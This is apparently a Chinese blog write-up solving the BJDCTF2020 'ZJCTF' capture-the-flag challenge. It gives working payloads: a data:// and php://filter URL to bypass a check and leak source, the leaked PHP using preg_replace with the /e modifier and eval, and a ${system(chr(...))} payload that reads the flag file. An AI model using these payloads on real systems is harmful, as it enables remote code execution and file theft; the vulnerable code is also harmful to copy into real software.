[BJDCTF2020]ZJCTF,不过如此

题目链接:[BJDCTF2020]ZJCTF,不过如此

打开环境,如下所示。

一个简单的伪协议,直接使用 Data 伪协议即可通过检测,随后使用文件包含来查看 next.php 文件源码。

Payload:?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

得到 next.php 源码如下。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

首先解释一下 next.php 中的源码的内容。

# 遍历 $_GET 数组,并将数组中的键跟值分别设置为 $re 与 $str,并调用 complex($re, $str)
foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}
# 将 $str 中的 $re 的内容转换为小写
function complex($re, $str) {
    return preg_replace(
        # 动态正则表达式(注意,\e 代码执行)
        '/(' . $re . ')/ei',
        # 第一个子匹配项转化为小写
        'strtolower("\\1")',
        $str
    );
}

可以看到,存在 preg_replace 函数,并且存在 "/e" 参数(但是实际上本题与 "/e" 参数的关系不大)。

以下先给出 Payload 再进行解释。

Payload:/next.php?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

解析:

  1. PHP 的可变变量,即:${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))} 会在 preg_replace 函数执行前执行,并返回值。
  2. $re = \S*,匹配所有的非空字符。
  3. 匹配成功,成功的执行了 ${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}

参考链接:

  1. 深入研究preg_replace与代码执行
  2. [BJDCTF2020]ZJCTF,不过如此
posted @ 2024-11-17 23:37  imtaieee  阅读(9)  评论(0编辑  收藏  举报